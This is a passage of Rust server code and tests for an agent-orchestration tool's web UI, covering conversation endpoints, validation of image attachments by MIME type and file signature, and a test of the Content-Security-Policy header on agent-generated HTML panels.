5968 .unwrap_or_else(PoisonError::into_inner)
5969 .queued
5970 .get(&id)
5971 .copied()
5972 .unwrap_or(0);
5973 let drained = blocking({
5974 let talks = talks.clone();
5975 move || {
5976 let result = talk::drain(&mut talk, &talks);
5977 Ok((talk, result))
5978 }
5979 })
5980 .await;
5981 let (next_talk, result) = match drained {
5982 Ok(drained) => drained,
5983 Err(e) => {
5984 tracing::warn!(
5985 status = %e.status,
5986 message = %e.message,
5987 "talk {id} could not start queued-text drain"
5988 );
5989 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5990 turn.take()
5991 .expect("held for the whole loop until released here")
5992 .release(&mut live);
5993 break;
5994 }
5995 };
5996 talk = next_talk;
5997 let drained = match result {
5998 Ok(Some(drained)) => drained,
5999 Ok(None) => {
6000 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6001 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6002 continue;
6003 }
6004 turn.take()
6005 .expect("held for the whole loop until released here")
6006 .release(&mut live);
6007 break;
6008 }
6009 Err(e) => {
6010 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6011 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6012 turn.take()
6013 .expect("held for the whole loop until released here")
6014 .release(&mut live);
6015 break;
6016 }
6017 };
6018 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6019 tracing::warn!("talk {id} turn failed: {e:#}");
6020 }
6021 }
6022}
6023
6024async fn talk_pending_clear(
6026 State(ui): State<Arc<Ui>>,
6027 Path(id): Path<String>,
6028 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6029) -> ApiResult<Json<TalkView>> {
6030 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6031 blocking(move || {
6032 let id = resolve_talk(&ui.talks, &id)?;
6033 let mut talk = ui.talks.get(&id)?;
6034 if !talk.status.open() {
6035 return Err(ApiError::conflict(format!(
6036 "talk {} is {} and takes no more turns",
6037 talk.short(),
6038 talk.status.as_str()
6039 )));
6040 }
6041 if !talk::clear_pending_if_matches(
6042 &mut talk,
6043 &ui.talks,
6044 &body.expected_text,
6045 &body.expected_attachments,
6046 )? {
6047 return Err(ApiError::conflict(
6048 "queued message changed; reload it before clearing",
6049 ));
6050 }
6051 let thinking = ui.is_thinking(&talk.id);
6052 Ok(Json(TalkView::new(talk, thinking)))
6053 })
6054 .await
6055}
6056
6057async fn talk_pending_edit(
6061 State(ui): State<Arc<Ui>>,
6062 Path(id): Path<String>,
6063 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6064) -> ApiResult<Json<TalkView>> {
6065 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6066 let (view, reclaimed) = blocking({
6067 let ui = Arc::clone(&ui);
6068 move || {
6069 let id = resolve_talk(&ui.talks, &id)?;
6070 let mut talk = ui.talks.get(&id)?;
6071 if !talk.status.open() {
6072 return Err(ApiError::conflict(format!(
6073 "talk {} is {} and takes no more turns",
6074 talk.short(),
6075 talk.status.as_str()
6076 )));
6077 }
6078 if !talk::edit_pending_text(
6079 &mut talk,
6080 &ui.talks,
6081 &body.text,
6082 &body.expected_text,
6083 &body.expected_attachments,
6084 )? {
6085 return Err(ApiError::conflict(
6086 "queued message changed; reload it before editing",
6087 ));
6088 }
6089 let claim = match ui.begin_queued_talk_turn(&id)? {
6090 Some(turn_guard) => {
6091 let (cfg, _) = Config::discover(&talk.repo, None)?;
6092 Some((talk.clone(), cfg, id.clone(), turn_guard))
6093 }
6094 None => None,
6095 };
6096 let thinking = ui.is_thinking(&id);
6097 Ok((TalkView::new(talk, thinking), claim))
6098 }
6099 })
6100 .await?;
6101 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6102 let talks = ui.talks.clone();
6103 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6104 }
6105 Ok(Json(view))
6106}
6107
6108#[derive(Debug, Deserialize)]
6110struct TalkAgent {
6111 agent: String,
6112}
6113
6114async fn talk_agent(
6119 State(ui): State<Arc<Ui>>,
6120 Path(id): Path<String>,
6121 Json(body): Json<TalkAgent>,
6122) -> ApiResult<Json<TalkView>> {
6123 let id = {
6124 let ui = Arc::clone(&ui);
6125 blocking(move || resolve_talk(&ui.talks, &id)).await?
6126 };
6127 let repo = {
6128 let ui = Arc::clone(&ui);
6129 let id = id.clone();
6130 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6131 };
6132 let cfg = config_for(&repo).await?;
6133 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6134 return Err(ApiError::conflict(
6135 "a talk turn is running; change the agent once it has answered",
6136 ));
6137 };
6138 let switched = {
6139 let ui = Arc::clone(&ui);
6140 let id = id.clone();
6141 let cfg = cfg.clone();
6142 blocking(move || {
6143 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6144 .map_err(ApiError::bad_request_from)?;
6145 let mut talk = ui.talks.get(&id)?;
6146 if !talk.status.open() {
6147 return Err(ApiError::conflict(format!(
6148 "talk {} is {} and takes no more turns",
6149 talk.short(),
6150 talk.status.as_str()
6151 )));
6152 }
6153 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6154 Ok(talk)
6155 })
6156 .await
6157 };
6158 let fresh = {
6163 let ui = Arc::clone(&ui);
6164 let id = id.clone();
6165 blocking(move || Ok(ui.talks.get(&id)?)).await
6166 };
6167 let draining = match fresh {
6168 Ok(talk) => {
6169 let draining = talk.status.open()
6170 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6171 let talks = ui.talks.clone();
6172 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6173 draining
6174 }
6175 Err(_) => false,
6176 };
6177 let talk = switched?;
6178 Ok(Json(TalkView::new(talk, draining)))
6179}
6180
6181async fn talk_close(
6183 State(ui): State<Arc<Ui>>,
6184 Path(id): Path<String>,
6185) -> ApiResult<Json<TalkView>> {
6186 blocking(move || {
6187 let id = resolve_talk(&ui.talks, &id)?;
6188 let mut talk = ui.talks.get(&id)?;
6189 talk::close(&mut talk, &ui.talks)?;
6190 let thinking = ui.is_thinking(&talk.id);
6191 Ok(Json(TalkView::new(talk, thinking)))
6192 })
6193 .await
6194}
6195
6196async fn talk_reopen(
6198 State(ui): State<Arc<Ui>>,
6199 Path(id): Path<String>,
6200) -> ApiResult<Json<TalkView>> {
6201 blocking(move || {
6202 let id = resolve_talk(&ui.talks, &id)?;
6203 let mut talk = ui.talks.get(&id)?;
6204 talk::reopen(&mut talk, &ui.talks)?;
6205 let thinking = ui.is_thinking(&talk.id);
6206 Ok(Json(TalkView::new(talk, thinking)))
6207 })
6208 .await
6209}
6210
6211async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6221 blocking(move || {
6222 let id = resolve_talk(&ui.talks, &id)?;
6223 ui.talks.remove(&id)?;
6224 Ok(StatusCode::NO_CONTENT)
6225 })
6226 .await
6227}
6228
6229fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6231 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6232}
6233
6234async fn talk_attachment_post(
6237 State(ui): State<Arc<Ui>>,
6238 Path(id): Path<String>,
6239 headers: HeaderMap,
6240 body: Bytes,
6241) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6242 let mime = validate_attachment(&headers, &body)?;
6243 let name = filename_header(&headers);
6244 let data = body.to_vec();
6245 blocking(move || {
6246 let id = resolve_talk(&ui.talks, &id)?;
6247 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6248 Ok((StatusCode::CREATED, Json(att)))
6249 })
6250 .await
6251}
6252
6253async fn talk_attachment_get(
6256 State(ui): State<Arc<Ui>>,
6257 Path((id, att)): Path<(String, String)>,
6258) -> ApiResult<Response> {
6259 blocking(move || {
6260 let id = resolve_talk(&ui.talks, &id)?;
6261 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6262 return Err(ApiError::not_found(format!(
6263 "talk {id} has no attachment `{att}`"
6264 )));
6265 };
6266 Ok(attachment_response(&meta.mime, data))
6267 })
6268 .await
6269}
6270
6271fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6282 if data.len() > ATTACHMENT_MAX_BYTES {
6283 return Err(ApiError::bad_request(format!(
6284 "attachment is {} bytes, over the {} MiB limit",
6285 data.len(),
6286 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6287 ))
6288 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6289 }
6290 if data.is_empty() {
6291 return Err(ApiError::bad_request("attachment is empty"));
6292 }
6293 let declared = declared_mime(headers)?;
6294 match sniffed_mime(data) {
6295 Some(sniffed) if sniffed == declared => Ok(declared),
6296 Some(sniffed) => Err(ApiError::bad_request(format!(
6297 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6298 ))),
6299 None => Err(ApiError::bad_request(
6300 "the file's bytes do not match any accepted image format",
6301 )),
6302 }
6303}
6304
6305fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6309 let raw = headers
6310 .get(header::CONTENT_TYPE)
6311 .and_then(|v| v.to_str().ok())
6312 .unwrap_or("")
6313 .split(';')
6314 .next()
6315 .unwrap_or("")
6316 .trim()
6317 .to_ascii_lowercase();
6318 ATTACHMENT_MIME_WHITELIST
6319 .iter()
6320 .find(|&&m| m == raw)
6321 .copied()
6322 .ok_or_else(|| {
6323 if raw == "image/svg+xml" {
6324 ApiError::bad_request(
6325 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6326 not just a picture",
6327 )
6328 } else if raw.is_empty() {
6329 ApiError::bad_request("Content-Type is required for an attachment upload")
6330 } else {
6331 ApiError::bad_request(format!(
6332 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6333 image/gif or image/webp"
6334 ))
6335 }
6336 })
6337}
6338
6339fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6342 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6343 Some("image/png")
6344 } else if data.starts_with(b"\xff\xd8\xff") {
6345 Some("image/jpeg")
6346 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6347 Some("image/gif")
6348 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6349 Some("image/webp")
6350 } else {
6351 None
6352 }
6353}
6354
6355fn filename_header(headers: &HeaderMap) -> String {
6361 headers
6362 .get(FILENAME_HEADER)
6363 .and_then(|v| v.to_str().ok())
6364 .map(str::trim)
6365 .filter(|s| !s.is_empty())
6366 .unwrap_or("attachment")
6367 .to_owned()
6368}
6369
6370fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6377 let content_type = ATTACHMENT_MIME_WHITELIST
6378 .iter()
6379 .find(|&&m| m == mime)
6380 .copied()
6381 .unwrap_or("application/octet-stream");
6382 (
6383 [
6384 (header::CONTENT_TYPE, content_type),
6385 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6386 ],
6387 body,
6388 )
6389 .into_response()
6390}
6391
6392async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6400 let repo = repo.to_path_buf();
6401 blocking(move || {
6402 let (cfg, _) = Config::discover(&repo, None)?;
6403 Ok(cfg)
6404 })
6405 .await
6406}
6407
6408fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6414 let mut hits = ids
6415 .into_iter()
6416 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6417 match (hits.next(), hits.next()) {
6418 (Some(one), None) => Ok(one),
6419 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6420 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6421 "`{prefix}` matches more than one {what}, including {a} and {b}"
6422 ))),
6423 }
6424}
6425
6426#[cfg(test)]
6427mod tests {
6428
6429 #[test]
6430 fn holder_reads_the_lease_not_the_record() {
6431 let mut q = Question::new(
6432 "run".to_owned(),
6433 "implement".to_owned(),
6434 "impl-A".to_owned(),
6435 "which?".to_owned(),
6436 String::new(),
6437 Vec::new(),
6438 );
6439 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6440 q.cwd = Some("/tmp".to_owned());
6441 assert_eq!(holder_of(&q, None), Some("nobody"));
6442 let beat = |kind, ago: i64| ask::Lease {
6443 kind,
6444 pid: 1,
6445 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6446 .unwrap(),
6447 };
6448 let fresh = beat(ask::WaiterKind::Asker, 1);
6449 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6450 let daemon = beat(ask::WaiterKind::Daemon, 1);
6451 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6452 let stale = beat(ask::WaiterKind::Asker, 3600);
6453 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6454
6455 let mut c = Question::new(
6458 "task".to_owned(),
6459 crate::conduct::NODE.to_owned(),
6460 "conduct".to_owned(),
6461 "which?".to_owned(),
6462 String::new(),
6463 Vec::new(),
6464 );
6465 assert_eq!(holder_of(&c, None), Some("nobody"));
6466 c.cwd = Some("/tmp".to_owned());
6467 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6468 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6469 let deputy = beat(ask::WaiterKind::Deputy, 1);
6470 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6471 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6472
6473 let mut r = Question::new(
6475 String::new(),
6476 crate::bump::NOTICE_NODE.to_owned(),
6477 "release-watch".to_owned(),
6478 "stuck?".to_owned(),
6479 String::new(),
6480 vec!["hold".to_owned()],
6481 );
6482 assert_eq!(holder_of(&r, None), Some("nobody"));
6483 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6484 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6485 r.deputy = None;
6487 r.seat = "bump".to_owned();
6488 assert_eq!(holder_of(&r, None), None);
6489
6490 let mut m = Question::new(
6493 "run".to_owned(),
6494 crate::land::APPROVAL_NODE.to_owned(),
6495 "land".to_owned(),
6496 "merge?".to_owned(),
6497 String::new(),
6498 Vec::new(),
6499 );
6500 assert_eq!(holder_of(&m, None), Some("nobody"));
6501 assert_eq!(
6502 holder_of(&m, Some(&fresh)),
6503 Some("nobody"),
6504 "a lease with no deputy is not a listener"
6505 );
6506 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6507 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6508 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6509 assert_eq!(holder_of(&m, None), Some("nobody"));
6510 }
6511
6512 fn stub_config() -> Config {
6513 Config {
6516 agents: vec![crate::config::AgentSpec {
6517 id: "stub".to_owned(),
6518 kind: AgentKind::Command,
6519 model: None,
6520 command: vec!["true".to_owned()],
6521 extra_args: Vec::new(),
6522 env: Default::default(),
6523 prompt_delivery: None,
6524 }],
6525 ..Config::default()
6526 }
6527 }
6528
6529 fn plain_question(seat: &str) -> Question {
6530 Question::new(
6531 String::new(),
6532 "n".to_owned(),
6533 seat.to_owned(),
6534 "s".to_owned(),
6535 String::new(),
6536 Vec::new(),
6537 )
6538 }
6539
6540 #[test]
6541 fn deputies_enabled_follows_the_config() {
6542 let on = stub_config();
6543 assert!(crate::deputy::can_start(Some(&on), ""));
6544 assert!(crate::deputy::can_start(Some(&on), "stub"));
6545 let mut off = on.clone();
6546 off.daemon.max_deputies = 0;
6547 assert!(!crate::deputy::can_start(Some(&off), ""));
6548 let mut empty = on;
6549 empty.agents.clear();
6550 assert!(!crate::deputy::can_start(Some(&empty), ""));
6551 assert!(!crate::deputy::can_start(None, ""));
6552 }
6553
6554 #[test]
6555 fn question_views_load_the_config_once() {
6556 let dir = TempDir::new().unwrap();
6557 let store = ask::Questions::at(dir.path().to_path_buf());
6558 let mut with_deputy = plain_question("b");
6559 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6560 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6561
6562 let calls = std::cell::Cell::new(0usize);
6563 let views = question_views(qs.clone(), &store, || {
6564 calls.set(calls.get() + 1);
6565 Some(stub_config())
6566 });
6567 assert_eq!(calls.get(), 1);
6568 assert_eq!(views.len(), 3);
6569 for (v, q) in views.iter().zip(&qs) {
6570 assert_eq!(
6571 v.deputies_enabled,
6572 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6573 );
6574 }
6575
6576 let views = question_views(qs, &store, || None);
6577 assert!(views.iter().all(|v| !v.deputies_enabled));
6578
6579 let calls = std::cell::Cell::new(0usize);
6580 let views = question_views(Vec::new(), &store, || {
6581 calls.set(calls.get() + 1);
6582 None
6583 });
6584 assert!(views.is_empty());
6585 assert_eq!(calls.get(), 0);
6586 }
6587
6588 use pretty_assertions::assert_eq;
6589 use serde_json::Value;
6590 use tempfile::TempDir;
6591 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6592
6593 use super::*;
6594 use crate::config::Config;
6595 use crate::queue::Source;
6596
6597 const SETTLE_STEPS: usize = 3_000;
6608
6609 struct Fixture {
6615 home: TempDir,
6616 addr: SocketAddr,
6617 }
6618
6619 impl Fixture {
6620 async fn start() -> Self {
6621 Self::with_loop(launch_idle).await
6622 }
6623
6624 async fn with_loop(launch: Launch) -> Self {
6626 let home = TempDir::new().expect("temp home");
6627 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6628 Self { home, addr }
6629 }
6630
6631 async fn with_repo(repo: PathBuf) -> Self {
6635 let home = TempDir::new().expect("temp home");
6636 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6637 Self { home, addr }
6638 }
6639
6640 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6643 let home = TempDir::new().expect("temp home");
6644 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6645 Self { home, addr }
6646 }
6647
6648 async fn serve(
6649 home: &FsPath,
6650 repo: PathBuf,
6651 launch: Launch,
6652 machine: Option<PathBuf>,
6653 ) -> SocketAddr {
6654 let queue = Queue::at(home.join("queue"));
6655 let runs = home.join("runs");
6656 std::fs::create_dir_all(&runs).expect("runs dir");
6657 let worktrees = home.join("wt").join("magi");
6658 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6659 let ui = Ui::new(
6660 queue,
6661 Questions::at(home.join("questions")),
6662 Talks::at(home.join("talks")),
6663 runs,
6664 home.to_path_buf(),
6665 repo,
6666 )
6667 .with_worktrees_root(worktrees)
6668 .with_machine_config(machine)
6669 .with_launch(launch);
6670 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6671 .await
6672 .expect("bind loopback");
6673 let addr = listener.local_addr().expect("local addr");
6674 tokio::spawn(async move {
6675 let _ = axum::serve(listener, ui.router()).await;
6676 });
6677 addr
6678 }
6679
6680 fn queue(&self) -> Queue {
6681 Queue::at(self.home.path().join("queue"))
6682 }
6683
6684 fn questions(&self) -> Questions {
6685 Questions::at(self.home.path().join("questions"))
6686 }
6687
6688 fn talks(&self) -> Talks {
6689 Talks::at(self.home.path().join("talks"))
6690 }
6691
6692 fn runs(&self) -> PathBuf {
6693 self.home.path().join("runs")
6694 }
6695
6696 async fn get(&self, path: &str) -> Res {
6697 request(self.addr, "GET", path, None).await
6698 }
6699
6700 async fn head(&self, path: &str) -> Res {
6705 request(self.addr, "HEAD", path, None).await
6706 }
6707
6708 async fn post(&self, path: &str, body: Option<&str>) -> Res {
6709 request(self.addr, "POST", path, body).await
6710 }
6711
6712 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6713 request_with(self.addr, "GET", path, None, extra).await
6714 }
6715
6716 async fn delete(&self, path: &str) -> Res {
6717 request(self.addr, "DELETE", path, None).await
6718 }
6719
6720 async fn put(&self, path: &str, body: &str) -> Res {
6721 request(self.addr, "PUT", path, Some(body)).await
6722 }
6723
6724 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6726 request_bytes(self.addr, path, headers, body).await
6727 }
6728 }
6729
6730 struct Res {
6731 status: u16,
6732 headers: String,
6733 head: String,
6738 body: String,
6739 bytes: Vec<u8>,
6743 }
6744
6745 impl Res {
6746 fn json(&self) -> Value {
6747 serde_json::from_str(&self.body)
6748 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6749 }
6750
6751 fn header(&self, name: &str) -> Option<&str> {
6753 self.head.lines().find_map(|line| {
6754 let (key, value) = line.split_once(':')?;
6755 key.trim()
6756 .eq_ignore_ascii_case(name)
6757 .then(|| value.trim_start().trim_end_matches('\r'))
6758 })
6759 }
6760 }
6761
6762 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6765 request_with(addr, method, path, body, &[]).await
6766 }
6767
6768 async fn request_with(
6772 addr: SocketAddr,
6773 method: &str,
6774 path: &str,
6775 body: Option<&str>,
6776 extra: &[(&str, &str)],
6777 ) -> Res {
6778 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6779 for (name, value) in extra {
6780 head.push_str(&format!("{name}: {value}\r\n"));
6781 }
6782 if let Some(body) = body {
6783 head.push_str("Content-Type: application/json\r\n");
6784 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6785 }
6786 head.push_str("\r\n");
6787 if let Some(body) = body {
6788 head.push_str(body);
6789 }
6790 let mut socket = tokio::net::TcpStream::connect(addr)
6791 .await
6792 .expect("connect to the test server");
6793 socket
6794 .write_all(head.as_bytes())
6795 .await
6796 .expect("write request");
6797 let mut raw = Vec::new();
6798 socket.read_to_end(&mut raw).await.expect("read response");
6799 let split = raw
6802 .windows(4)
6803 .position(|w| w == b"\r\n\r\n")
6804 .expect("a header block");
6805 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6806 let bytes = raw[split + 4..].to_vec();
6807 let status = head
6808 .lines()
6809 .next()
6810 .and_then(|line| line.split_whitespace().nth(1))
6811 .and_then(|code| code.parse().ok())
6812 .expect("a status line");
6813 Res {
6814 status,
6815 headers: head.to_lowercase(),
6816 head,
6817 body: String::from_utf8_lossy(&bytes).into_owned(),
6818 bytes,
6819 }
6820 }
6821
6822 async fn request_bytes(
6828 addr: SocketAddr,
6829 path: &str,
6830 headers: &[(&str, &str)],
6831 body: &[u8],
6832 ) -> Res {
6833 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6834 for (name, value) in headers {
6835 head.push_str(&format!("{name}: {value}\r\n"));
6836 }
6837 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
6838 let mut socket = tokio::net::TcpStream::connect(addr)
6839 .await
6840 .expect("connect to the test server");
6841 socket
6842 .write_all(head.as_bytes())
6843 .await
6844 .expect("write request head");
6845 socket.write_all(body).await.expect("write request body");
6846 let mut raw = Vec::new();
6847 socket.read_to_end(&mut raw).await.expect("read response");
6848 let split = raw
6849 .windows(4)
6850 .position(|w| w == b"\r\n\r\n")
6851 .expect("a header block");
6852 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6853 let bytes = raw[split + 4..].to_vec();
6854 let status = head
6855 .lines()
6856 .next()
6857 .and_then(|line| line.split_whitespace().nth(1))
6858 .and_then(|code| code.parse().ok())
6859 .expect("a status line");
6860 Res {
6861 status,
6862 headers: head.to_lowercase(),
6863 head,
6864 body: String::from_utf8_lossy(&bytes).into_owned(),
6865 bytes,
6866 }
6867 }
6868
6869 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
6871 let mut state = RunState::new(
6872 PathBuf::from("/repo/magi"),
6873 "main".to_owned(),
6874 "0123456789abcdef".to_owned(),
6875 "Add a web UI\n\nMobile first.".to_owned(),
6876 Config::default(),
6877 );
6878 state.id = id.to_owned();
6879 state.status = status;
6880 let dir = runs.join(id);
6881 std::fs::create_dir_all(&dir).expect("run dir");
6882 std::fs::write(
6883 dir.join("run.json"),
6884 serde_json::to_string_pretty(&state).expect("serialize run"),
6885 )
6886 .expect("write run.json");
6887 }
6888
6889 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
6893 let mut state = RunState::new(
6894 PathBuf::from(repo),
6895 "main".to_owned(),
6896 "0123456789abcdef".to_owned(),
6897 "task".to_owned(),
6898 Config::default(),
6899 );
6900 state.id = id.to_owned();
6901 state.status = status;
6902 let dir = runs.join(id);
6903 std::fs::create_dir_all(&dir).expect("run dir");
6904 std::fs::write(
6905 dir.join("run.json"),
6906 serde_json::to_string_pretty(&state).expect("serialize run"),
6907 )
6908 .expect("write run.json");
6909 }
6910
6911 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
6912 let body = serde_json::json!({
6913 "schema": 1,
6914 "pid": 4242,
6915 "started_at": Timestamp::now().to_string(),
6916 "updated_at": updated_at.to_string(),
6917 "idle": false,
6918 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
6919 "completed": 7,
6920 "polls": 143,
6921 });
6922 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
6923 }
6924
6925 fn launch_idle(
6935 _opts: daemon::Opts,
6936 stop: daemon::Stop,
6937 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6938 Box::pin(async move {
6939 while !stop.stopped() {
6940 tokio::time::sleep(Duration::from_millis(2)).await;
6941 }
6942 Ok(())
6943 })
6944 }
6945
6946 fn launch_broken(
6949 _opts: daemon::Opts,
6950 _stop: daemon::Stop,
6951 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6952 Box::pin(async {
6953 Err(anyhow::anyhow!(
6954 "publish the daemon status file: read-only file system"
6955 ))
6956 })
6957 }
6958
6959 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
6966 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
6967
6968 fn launch_knocking_on_the_way_out(
6975 _opts: daemon::Opts,
6976 stop: daemon::Stop,
6977 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6978 Box::pin(async move {
6979 while !stop.stopped() {
6980 tokio::time::sleep(Duration::from_millis(2)).await;
6981 }
6982 let addr = PARK_KNOCK
6983 .lock()
6984 .expect("park knock")
6985 .expect("the test set an address");
6986 let heard = request(addr, "GET", "/api/health", None).await.status;
6987 *PARK_HEARD.lock().expect("park heard") = Some(heard);
6988 Ok(())
6989 })
6990 }
6991
6992 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7001 for _ in 0..SETTLE_STEPS {
7002 let view = fx.get("/api/loop").await.json();
7003 if want(&view) {
7004 return view;
7005 }
7006 tokio::time::sleep(Duration::from_millis(10)).await;
7007 }
7008 panic!(
7009 "the loop never settled: {}",
7010 fx.get("/api/loop").await.json()
7011 );
7012 }
7013
7014 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7016 let store = fx.questions();
7017 let mut q = Question::new(
7018 "20260902-000000-beef".to_owned(),
7019 "implement".to_owned(),
7020 "impl-A".to_owned(),
7021 summary.to_owned(),
7022 "because it matters".to_owned(),
7023 choices.iter().map(|c| (*c).to_owned()).collect(),
7024 );
7025 store.put(&mut q).expect("put question");
7026 q.id
7027 }
7028
7029 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7035 let store = fx.questions();
7036 let mut q = Question::new(
7037 "20260902-000000-beef".to_owned(),
7038 "land".to_owned(),
7039 "fix".to_owned(),
7040 "Merge this?".to_owned(),
7041 "the diff is in the panel".to_owned(),
7042 vec!["merge".to_owned(), "hold".to_owned()],
7043 );
7044 let staging = fx.home.path().join("staging");
7047 std::fs::create_dir_all(&staging).expect("staging dir");
7048 let sources: Vec<PathBuf> = assets
7049 .iter()
7050 .map(|(name, bytes)| {
7051 let path = staging.join(name);
7052 std::fs::write(&path, bytes).expect("write staged asset");
7053 path
7054 })
7055 .collect();
7056 store
7057 .put_panel(&mut q, html, &sources)
7058 .expect("write the panel");
7059 store.put(&mut q).expect("put question");
7060 q.id
7061 }
7062
7063 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7072 let store = fx.talks();
7073 std::fs::create_dir_all(store.root()).expect("talks dir");
7074 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7075 .expect("serialize a seat");
7076 let body = serde_json::json!({
7077 "schema": 1,
7078 "id": id,
7079 "repo": "/repo/magi",
7080 "agent": "mock",
7081 "status": status,
7082 "turns": [],
7083 "created_at": Timestamp::now().to_string(),
7084 "updated_at": Timestamp::now().to_string(),
7085 "seat": seat,
7086 });
7087 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7088 store.get(id).expect("the seeded talk has to be readable");
7089 id.to_owned()
7090 }
7091
7092 #[tokio::test]
7093 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7094 let fx = Fixture::start().await;
7095 let id = panel(
7096 &fx,
7097 "<h1>Merge?</h1><img src=\"diff.svg\">",
7098 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7099 );
7100
7101 for path in [
7102 format!("/api/questions/{id}/panel"),
7103 format!("/api/questions/{id}/asset/diff.svg"),
7104 ] {
7105 let res = fx.get(&path).await;
7106 assert_eq!(res.status, 200, "{path}: {}", res.body);
7107 assert_eq!(
7113 res.header("content-security-policy"),
7114 Some(
7115 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7116 font-src data:; base-uri 'none'; form-action 'none'; \
7117 frame-ancestors 'self'"
7118 ),
